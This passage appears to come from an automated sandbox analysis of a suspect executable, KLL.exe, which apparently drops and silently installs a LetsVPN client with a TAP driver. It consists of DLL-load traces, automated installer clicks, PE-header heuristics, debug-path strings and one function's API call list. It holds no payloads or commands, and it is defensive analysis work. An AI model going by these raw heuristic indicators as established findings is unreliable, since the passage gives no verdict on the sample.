            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeSection loaded: apphelp.dll
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeSection loaded: devobj.dll
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeSection loaded: msasn1.dll
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeSection loaded: devrtl.dll
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeSection loaded: spinf.dll
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeSection loaded: drvstore.dll
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeSection loaded: devobj.dll
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeSection loaded: newdev.dll
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeSection loaded: msasn1.dll
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeSection loaded: cryptsp.dll
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeSection loaded: rsaenh.dll
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeSection loaded: cryptbase.dll
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeSection loaded: gpapi.dll
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeSection loaded: cabinet.dll
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeSection loaded: ntmarta.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: umpnpmgr.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: devrtl.dll
            Source: C:\Windows\System32\drvinst.exeSection loaded: ntmarta.dll
            Source: C:\Windows\System32\drvinst.exeSection loaded: devrtl.dll
            Source: C:\Windows\System32\drvinst.exeSection loaded: drvstore.dll
            Source: C:\Windows\System32\drvinst.exeSection loaded: cabinet.dll
            Source: C:\Windows\System32\drvinst.exeSection loaded: msasn1.dll
            Source: C:\Windows\System32\drvinst.exeSection loaded: cryptsp.dll
            Source: C:\Windows\System32\drvinst.exeSection loaded: rsaenh.dll
            Source: C:\Windows\System32\drvinst.exeSection loaded: cryptbase.dll
            Source: C:\Windows\System32\drvinst.exeSection loaded: gpapi.dll
            Source: C:\Windows\System32\drvinst.exeSection loaded: ntmarta.dll
            Source: C:\Windows\System32\drvinst.exeSection loaded: devrtl.dll
            Source: C:\Windows\System32\drvinst.exeSection loaded: drvstore.dll
            Source: C:\Windows\System32\drvinst.exeSection loaded: devobj.dll
            Source: C:\Windows\System32\drvinst.exeSection loaded: cabinet.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: kernel.appcore.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: netsetupsvc.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: powrprof.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: netsetupapi.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: umpdc.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: netsetupengine.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: winnsi.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: implatsetup.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: devrtl.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: spinf.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: drvstore.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: kernel.appcore.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: ifmon.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: iphlpapi.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: mprapi.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: rasmontr.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: rasapi32.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: fwpuclnt.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: rasman.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: mfc42u.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: rasman.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: authfwcfg.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: fwpolicyiomgr.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: firewallapi.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: dnsapi.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: fwbase.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: dhcpcmonitor.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: dot3cfg.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: dot3api.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: onex.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: eappcfg.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: ncrypt.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: eappprxy.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: ntasn1.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: fwcfg.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: hnetmon.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: netshell.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: nlaapi.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: netsetupapi.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: netiohlp.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: dhcpcsvc.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: winnsi.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: nshhttp.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: httpapi.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: nshipsec.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: userenv.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: activeds.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: polstore.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: winipsec.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: adsldpc.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: adsldpc.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: nshwfp.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: cabinet.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: p2pnetsh.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: p2p.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: profapi.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: cryptbase.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: rpcnsh.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: whhelper.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: winhttp.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: wlancfg.dll
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: cryptsp.dll
            Source: C:\Users\user\Desktop\KLL.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{5E5F29CE-E0A8-49D3-AF32-7A7BDC173478}\InProcServer32Jump to behavior
            Source: C:\Windows\System32\mmc.exeWindow found: window name: msctls_updown32Jump to behavior
            Source: C:\ProgramData\letsvpn-latest.exeAutomated click: Next >
            Source: C:\ProgramData\letsvpn-latest.exeAutomated click: Install
            Source: Window RecorderWindow detected: More than 3 window changes detected
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll
            Source: KLL.exeStatic PE information: Virtual size of .text is bigger than: 0x100000
            Source: KLL.exeStatic PE information: Image base 0x140000000 > 0x60000000
            Source: KLL.exeStatic file information: File size 31853056 > 1048576
            Source: KLL.exeStatic PE information: Raw size of .text is bigger than: 0x100000 < 0x308600
            Source: KLL.exeStatic PE information: Raw size of .data is bigger than: 0x100000 < 0x1a24c00
            Source: KLL.exeStatic PE information: More than 200 imports for KERNEL32.dll
            Source: KLL.exeStatic PE information: More than 200 imports for USER32.dll
            Source: KLL.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
            Source: KLL.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
            Source: KLL.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
            Source: KLL.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
            Source: KLL.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
            Source: KLL.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
            Source: KLL.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
            Source: KLL.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
            Source: Binary string: D:\a\1\s\Utils\obj\Release\Utils.pdb source: LetsPRO.exe, 00000045.00000002.2237527968.0000000003152000.00000002.00000001.01000000.0000001A.sdmp
            Source: Binary string: E:\A\_work\1795\s\corefx\bin\obj\Windows_NT.AnyCPU.Release\System.Runtime.InteropServices.RuntimeInformation\net462\System.Runtime.InteropServices.RuntimeInformation.pdb source: LetsPRO.exe, 00000037.00000002.4179262566.0000000006532000.00000002.00000001.01000000.00000020.sdmp
            Source: Binary string: D:\a\1\s\LetsVPN\obj\Release\LetsPRO.pdb source: LetsPRO.exe, 00000037.00000000.2057009176.0000000000CF2000.00000002.00000001.01000000.00000018.sdmp
            Source: Binary string: NetSetupEngine.pdb source: service.0.etl.39.dr
            Source: Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.NetworkInformation\4.1.2.0\System.Net.NetworkInformation.pdb source: System.Net.NetworkInformation.dll.20.dr
            Source: Binary string: D:\simba9_pc\trunk\simba9\bin\Release\bin\uc_ctrl.pdb22 source: uc_ctrl.exe, 00000011.00000003.1750658147.0000000000AEF000.00000004.00000020.00020000.00000000.sdmp, uc_ctrl.exe, 00000011.00000002.4145589452.000000000010A000.00000002.00000001.01000000.00000009.sdmp, uc_ctrl.exe, 00000011.00000000.1749194450.000000000010A000.00000002.00000001.01000000.00000009.sdmp
            Source: Binary string: c:\git\OSS\notifyicon-wpf\Hardcodet.NotifyIcon.Wpf\Source\NotifyIconWpf\obj\Release\Hardcodet.Wpf.TaskbarNotification.pdb source: LetsPRO.exe, 00000037.00000002.4217491237.0000000037D82000.00000002.00000001.01000000.00000032.sdmp
            Source: Binary string: C:\Users\eric\dev\cb\bld\bin\e_sqlite3\win\v141\plain\x86\e_sqlite3.pdb source: LetsPRO.exe, 00000037.00000002.4274703898.0000000067C57000.00000002.00000001.01000000.0000002D.sdmp
            Source: Binary string: c:\users\samuli\opt\tap-windows6-mattock\tapinstall\7600\objfre_wlh_amd64\amd64\tapinstall.pdb source: tapinstall.exe, 00000020.00000002.1948103000.00007FF7488D1000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 00000020.00000000.1945906128.00007FF7488D1000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 00000022.00000002.1991317250.00007FF7488D1000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 00000022.00000000.1948511998.00007FF7488D1000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 00000034.00000000.2007248558.00007FF7488D1000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 00000034.00000002.2008797085.00007FF7488D1000.00000020.00000001.01000000.00000016.sdmp
            Source: Binary string: D:\a\1\s\SDK\AppCenterAnalytics\Microsoft.AppCenter.Analytics.WindowsDesktop\obj\Release\net461\Microsoft.AppCenter.Analytics.pdbSHA256 source: LetsPRO.exe, 00000037.00000002.4189719287.000000002FF02000.00000002.00000001.01000000.00000026.sdmp
            Source: Binary string: C:\Users\eric\dev\cb\bld\bin\e_sqlite3\win\v141\plain\x64\e_sqlite3.pdb source: e_sqlite3.dll0.20.dr
            Source: Binary string: D:\dd\NetFXDev1\binaries\x86ret\bin\i386\VSSetup\Utils\boxstub.pdb source: ndp462-web.exe.20.dr
            Source: Binary string: C:\WorkShop\WebSocket4Net\WebSocket4Net\obj\Release\WebSocket4Net.pdb source: LetsPRO.exe, 00000037.00000002.4241106616.0000000039962000.00000002.00000001.01000000.0000003A.sdmp
            Source: Binary string: /_/CommunityToolkit.Mvvm/obj/Release/netstandard2.0/CommunityToolkit.Mvvm.pdbSHA256 source: LetsPRO.exe, 00000037.00000002.4178608089.0000000006352000.00000002.00000001.01000000.0000001E.sdmp
            Source: Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.batteries_v2.e_sqlite3.dynamic\obj\Release\netstandard2.0\SQLitePCLRaw.batteries_v2.pdb source: LetsPRO.exe, 00000037.00000002.4197543780.0000000030A42000.00000002.00000001.01000000.00000029.sdmp
            Source: Binary string: E:\A\_work\1795\s\corefx\bin\obj\Windows_NT.AnyCPU.Release\System.Net.Http\netfx\System.Net.Http.pdb source: LetsPRO.exe, 00000037.00000002.4239209103.0000000039372000.00000002.00000001.01000000.00000036.sdmp
            Source: Binary string: D:\a\1\s\SDK\AppCenter\Microsoft.AppCenter.WindowsDesktop\obj\Release\net461\Microsoft.AppCenter.pdb source: LetsPRO.exe, 00000037.00000002.4175686898.0000000005E4A000.00000004.00000020.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.4190082692.0000000030062000.00000002.00000001.01000000.00000027.sdmp
            Source: Binary string: /_/CommunityToolkit.Mvvm/obj/Release/netstandard2.0/CommunityToolkit.Mvvm.pdb source: LetsPRO.exe, 00000037.00000002.4178608089.0000000006352000.00000002.00000001.01000000.0000001E.sdmp
            Source: Binary string: E:\A\_work\1795\s\corefx\bin/obj/AnyOS.AnyCPU.Release/System.Xml.XPath.XDocument/netfx\System.Xml.XPath.XDocument.pdb source: System.Xml.XPath.XDocument.dll.20.dr
            Source: Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.batteries_v2.e_sqlite3.dynamic\obj\Release\netstandard2.0\SQLitePCLRaw.batteries_v2.pdbSHA256 source: LetsPRO.exe, 00000037.00000002.4197543780.0000000030A42000.00000002.00000001.01000000.00000029.sdmp
            Source: Binary string: vcruntime140.i386.pdbGCTL source: uc_ctrl.exe, 00000011.00000002.4149827910.000000006CF41000.00000020.00000001.01000000.0000000A.sdmp
            Source: Binary string: D:\a\1\s\SDK\AppCenterCrashes\Microsoft.AppCenter.Crashes.WindowsDesktop\obj\Release\net461\Microsoft.AppCenter.Crashes.pdb source: LetsPRO.exe, 00000037.00000002.4189844326.000000002FF12000.00000002.00000001.01000000.00000028.sdmp, Microsoft.AppCenter.Crashes.dll.20.dr
            Source: Binary string: D:\a\1\s\LetsVPNDomainModel\obj\Release\LetsVPNDomainModel.pdb source: LetsPRO.exe, 00000045.00000002.2238114765.0000000003212000.00000002.00000001.01000000.0000001C.sdmp
            Source: Binary string: D:\a\1\s\LetsVPNDomainModel\obj\Release\LetsVPNDomainModel.pdbwD source: LetsPRO.exe, 00000045.00000002.2238114765.0000000003212000.00000002.00000001.01000000.0000001C.sdmp
            Source: Binary string: /_/artifacts/obj/System.Security.Principal.Windows/net461-Windows_NT-Release/System.Security.Principal.Windows.pdb source: System.Security.Principal.Windows.dll.20.dr
            Source: Binary string: /_/artifacts/obj/System.Text.Encoding.CodePages/net461-windows-Release/System.Text.Encoding.CodePages.pdbSHA256K source: System.Text.Encoding.CodePages.dll.20.dr
            Source: Binary string: E:\A\_work\156\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.Buffers\netfx\System.Buffers.pdb source: LetsPRO.exe, 00000037.00000002.4179408143.0000000006542000.00000002.00000001.01000000.00000021.sdmp
            Source: Binary string: msvcp140.i386.pdb source: uc_ctrl.exe, 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp
            Source: Binary string: /_/artifacts/obj/System.Text.Encoding.CodePages/net461-windows-Release/System.Text.Encoding.CodePages.pdb source: System.Text.Encoding.CodePages.dll.20.dr
            Source: Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.Pipes\4.0.2.0\System.IO.Pipes.pdbh) source: System.IO.Pipes.dll.20.dr
            Source: Binary string: D:\a\1\s\SDK\AppCenterCrashes\Microsoft.AppCenter.Crashes.WindowsDesktop\obj\Release\net461\Microsoft.AppCenter.Crashes.pdbSHA256, source: LetsPRO.exe, 00000037.00000002.4189844326.000000002FF12000.00000002.00000001.01000000.00000028.sdmp, Microsoft.AppCenter.Crashes.dll.20.dr
            Source: Binary string: /_/artifacts/obj/System.Security.Principal.Windows/net461-Windows_NT-Release/System.Security.Principal.Windows.pdbSHA256zqXL source: System.Security.Principal.Windows.dll.20.dr
            Source: Binary string: C:\projects\ipnetwork\src\System.Net.IPNetwork\obj\release\net46\System.Net.IPNetwork.pdbSHA256 source: System.Net.IPNetwork.dll.20.dr
            Source: Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.Pipes\4.0.2.0\System.IO.Pipes.pdb source: System.IO.Pipes.dll.20.dr
            Source: Binary string: C:\WorkShop\WebSocket4Net\WebSocket4Net\obj\Release\WebSocket4Net.pdb* source: LetsPRO.exe, 00000037.00000002.4241106616.0000000039962000.00000002.00000001.01000000.0000003A.sdmp
            Source: Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.Security\4.0.2.0\System.Net.Security.pdbT*n* `*_CorDllMainmscoree.dll source: System.Net.Security.dll.20.dr
            Source: Binary string: Extract: Mono.Cecil.Pdb.dll... 100%d source: letsvpn-latest.exe, 00000014.00000002.2058262751.0000000000770000.00000004.00000020.00020000.00000000.sdmp, letsvpn-latest.exe, 00000014.00000003.2056868219.0000000000770000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: cp140.i386.pdb source: uc_ctrl.exe
            Source: Binary string: C:\Users\winsign\samuli\source\repos\tap-windows6\src\x64\Release\tap0901.pdb source: drvinst.exe, 00000025.00000003.1967588887.0000028DB0137000.00000004.00000020.00020000.00000000.sdmp, drvinst.exe, 00000025.00000003.1966153123.0000028DB007F000.00000004.00000020.00020000.00000000.sdmp, drvinst.exe, 00000026.00000003.1981837211.0000022BE45A4000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: C:\WorkShop\SuperSocket.ClientEngine\obj\Release\SuperSocket.ClientEngine.pdbR source: LetsPRO.exe, 00000037.00000002.4241452159.0000000039982000.00000002.00000001.01000000.0000003B.sdmp
            Source: Binary string: D:\simba9_pc\trunk\simba9\bin\Release\bin\uc_ctrl.pdb source: uc_ctrl.exe, 00000011.00000003.1750658147.0000000000AEF000.00000004.00000020.00020000.00000000.sdmp, uc_ctrl.exe, 00000011.00000002.4145589452.000000000010A000.00000002.00000001.01000000.00000009.sdmp, uc_ctrl.exe, 00000011.00000000.1749194450.000000000010A000.00000002.00000001.01000000.00000009.sdmp
            Source: Binary string: C:\Users\IEUser\pusher-websocket-dotnet\PusherClient\obj\release\net46\PusherClient.pdb source: LetsPRO.exe, 00000037.00000002.4237524799.0000000038E02000.00000002.00000001.01000000.00000039.sdmp
            Source: Binary string: D:\a\_work\1\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.Memory\netfx\System.Memory.pdb source: LetsPRO.exe, 00000037.00000002.4179837406.0000000006572000.00000002.00000001.01000000.00000022.sdmp
            Source: Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdbSHA256 source: LetsPRO.exe, 00000045.00000002.2247309532.0000000005DC2000.00000002.00000001.01000000.0000001D.sdmp
            Source: Binary string: C:\Users\ani\code\squirrel\squirrel.windows\build\Release\Win32\StubExecutable.pdb source: LetsPRO.exe, 00000036.00000002.2067512351.00000000007ED000.00000002.00000001.01000000.00000017.sdmp, LetsPRO.exe, 00000036.00000000.2056418394.00000000007ED000.00000002.00000001.01000000.00000017.sdmp
            Source: Binary string: C:\projects\wpfanimatedgif\WpfAnimatedGif\obj\Release\net40\WpfAnimatedGif.pdb source: WpfAnimatedGif.dll.20.dr
            Source: Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdb source: LetsPRO.exe, 00000045.00000002.2247309532.0000000005DC2000.00000002.00000001.01000000.0000001D.sdmp
            Source: Binary string: C:\projects\ipnetwork\src\System.Net.IPNetwork\obj\release\net46\System.Net.IPNetwork.pdb source: System.Net.IPNetwork.dll.20.dr
            Source: Binary string: E:\A\_work\582\s\bin\obj\ref\System.Security.Claims\4.0.3.0\System.Security.Claims.pdb source: System.Security.Claims.dll.20.dr
            Source: Binary string: E:\A\_work\582\s\bin\obj\ref\System.Text.Encoding\4.0.11.0\System.Text.Encoding.pdb source: System.Text.Encoding.dll.20.dr
            Source: Binary string: E:\A\_work\582\s\bin\obj\ref\System.Threading.Timer\4.0.1.0\System.Threading.Timer.pdbt( source: System.Threading.Timer.dll.20.dr
            Source: Binary string: E:\A\_work\582\s\bin\obj\ref\System.Xml.XmlSerializer\4.0.11.0\System.Xml.XmlSerializer.pdbt+ source: System.Xml.XmlSerializer.dll.20.dr
            Source: Binary string: E:\A\_work\582\s\bin\obj\ref\System.Threading.Timer\4.0.1.0\System.Threading.Timer.pdb source: System.Threading.Timer.dll.20.dr
            Source: Binary string: D:\a\1\s\LetsVPNInfraStructure\obj\Release\LetsVPNInfraStructure.pdb source: LetsPRO.exe, 00000037.00000002.4179573232.0000000006552000.00000002.00000001.01000000.00000023.sdmp
            Source: Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.CompilerServices.Unsafe\net461-Release\System.Runtime.CompilerServices.Unsafe.pdbBSJB source: LetsPRO.exe, 00000037.00000002.4179078320.00000000064C2000.00000002.00000001.01000000.0000001F.sdmp
            Source: Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.core\obj\Release\netstandard2.0\SQLitePCLRaw.core.pdbSHA256xpRb source: LetsPRO.exe, 00000037.00000002.4197955677.0000000030A72000.00000002.00000001.01000000.0000002A.sdmp
            Source: Binary string: NetSetupShim.pdb source: service.0.etl.39.dr
            Source: Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.CompilerServices.Unsafe\net461-Release\System.Runtime.CompilerServices.Unsafe.pdb source: LetsPRO.exe, 00000037.00000002.4179078320.00000000064C2000.00000002.00000001.01000000.0000001F.sdmp
            Source: Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.provider.dynamic_cdecl\obj\Release\netstandard2.0\SQLitePCLRaw.provider.dynamic_cdecl.pdb source: LetsPRO.exe, 00000037.00000002.4198160056.0000000030A92000.00000002.00000001.01000000.0000002B.sdmp
            Source: Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.Security\4.0.2.0\System.Net.Security.pdb source: System.Net.Security.dll.20.dr
            Source: Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.provider.dynamic_cdecl\obj\Release\netstandard2.0\SQLitePCLRaw.provider.dynamic_cdecl.pdbSHA256 source: LetsPRO.exe, 00000037.00000002.4198160056.0000000030A92000.00000002.00000001.01000000.0000002B.sdmp
            Source: Binary string: vcruntime140.i386.pdb source: uc_ctrl.exe, uc_ctrl.exe, 00000011.00000002.4149827910.000000006CF41000.00000020.00000001.01000000.0000000A.sdmp
            Source: Binary string: E:\A\_work\582\s\bin\obj\ref\System.Collections.Specialized\4.0.3.0\System.Collections.Specialized.pdb source: System.Collections.Specialized.dll.20.dr
            Source: Binary string: NetSetupShim.pdbb source: service.0.etl.39.dr
            Source: Binary string: msvcp140.i386.pdbGCTL source: uc_ctrl.exe, 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp
            Source: Binary string: D:\a\1\s\SDK\AppCenterAnalytics\Microsoft.AppCenter.Analytics.WindowsDesktop\obj\Release\net461\Microsoft.AppCenter.Analytics.pdb source: LetsPRO.exe, 00000037.00000002.4189719287.000000002FF02000.00000002.00000001.01000000.00000026.sdmp
            Source: Binary string: c:\users\samuli\opt\tap-windows6-mattock\tapinstall\7600\objfre_wlh_amd64\amd64\tapinstall.pdbH source: tapinstall.exe, 00000020.00000002.1948103000.00007FF7488D1000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 00000020.00000000.1945906128.00007FF7488D1000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 00000022.00000002.1991317250.00007FF7488D1000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 00000022.00000000.1948511998.00007FF7488D1000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 00000034.00000000.2007248558.00007FF7488D1000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 00000034.00000002.2008797085.00007FF7488D1000.00000020.00000001.01000000.00000016.sdmp
            Source: Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.nativelibrary\obj\Release\netstandard2.0\SQLitePCLRaw.nativelibrary.pdbSHA256 source: LetsPRO.exe, 00000037.00000002.4198387954.0000000030AB2000.00000002.00000001.01000000.0000002C.sdmp
            Source: Binary string: C:\WorkShop\SuperSocket.ClientEngine\obj\Release\SuperSocket.ClientEngine.pdb source: LetsPRO.exe, 00000037.00000002.4241452159.0000000039982000.00000002.00000001.01000000.0000003B.sdmp
            Source: Binary string: NetSetupSvc.pdb source: service.0.etl.39.dr
            Source: Binary string: NetSetupApi.pdb source: service.0.etl.39.dr
            Source: Binary string: E:\A\_work\582\s\bin\obj\ref\System.Security.Principal\4.0.1.0\System.Security.Principal.pdb source: System.Security.Principal.dll.20.dr
            Source: Binary string: C:\Users\IEUser\pusher-websocket-dotnet\PusherClient\obj\release\net46\PusherClient.pdbSHA256 source: LetsPRO.exe, 00000037.00000002.4237524799.0000000038E02000.00000002.00000001.01000000.00000039.sdmp
            Source: Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime\4.1.2.0\System.Runtime.pdb source: System.Runtime.dll.20.dr
            Source: Binary string: E:\A\_work\1795\s\corefx\bin\obj\Windows_NT.AnyCPU.Release\System.Runtime.InteropServices.RuntimeInformation\net462\System.Runtime.InteropServices.RuntimeInformation.pdbxE source: LetsPRO.exe, 00000037.00000002.4179262566.0000000006532000.00000002.00000001.01000000.00000020.sdmp
            Source: Binary string: E:\A\_work\582\s\bin\obj\ref\System.Xml.XmlSerializer\4.0.11.0\System.Xml.XmlSerializer.pdb source: System.Xml.XmlSerializer.dll.20.dr
            Source: Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.core\obj\Release\netstandard2.0\SQLitePCLRaw.core.pdb source: LetsPRO.exe, 00000037.00000002.4197955677.0000000030A72000.00000002.00000001.01000000.0000002A.sdmp
            Source: Binary string: C:\projects\wpfanimatedgif\WpfAnimatedGif\obj\Release\net40\WpfAnimatedGif.pdbSHA256 source: WpfAnimatedGif.dll.20.dr
            Source: Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.Serialization.Json\4.0.1.0\System.Runtime.Serialization.Json.pdb source: System.Runtime.Serialization.Json.dll.20.dr
            Source: Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.nativelibrary\obj\Release\netstandard2.0\SQLitePCLRaw.nativelibrary.pdb source: LetsPRO.exe, 00000037.00000002.4198387954.0000000030AB2000.00000002.00000001.01000000.0000002C.sdmp
            Source: Binary string: D:\a\1\s\SDK\AppCenter\Microsoft.AppCenter.WindowsDesktop\obj\Release\net461\Microsoft.AppCenter.pdbSHA256X7 source: LetsPRO.exe, 00000037.00000002.4175686898.0000000005E4A000.00000004.00000020.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.4190082692.0000000030062000.00000002.00000001.01000000.00000027.sdmp
            Source: KLL.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
            Source: KLL.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
            Source: KLL.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
            Source: KLL.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
            Source: KLL.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
            Source: System.Web.Services.Description.resources.dll.20.drStatic PE information: 0xBF452CC2 [Tue Sep 8 23:48:18 2071 UTC]
            Source: C:\Users\user\Desktop\KLL.exeCode function: 0_2_0000000180005710 LoadLibraryW,GetProcAddress,ShellExecuteW,LoadLibraryW,GetProcAddress,Sleep,SleepEx,DeleteFileW,CreateDirectoryW,Sleep,SleepEx,Sleep,SleepEx,ShellExecuteW,Sleep,SleepEx,Sleep,SleepEx,DeleteFileW,DeleteFileW,DeleteFileW,std::ios_base::_Ios_base_dtor,0_2_0000000180005710
            Source: KLL.exeStatic PE information: section name: _RDATA
            Source: msvcp140.dll.0.drStatic PE information: section name: .didat
            Source: vcruntime140.dll.0.drStatic PE information: section name: _RDATA
            Source: s.0.drStatic PE information: section name: .giats
            Source: uc_guilib.dll.14.drStatic PE information: section name: .giats
            Source: msvcp140.dll.17.drStatic PE information: section name: .didat
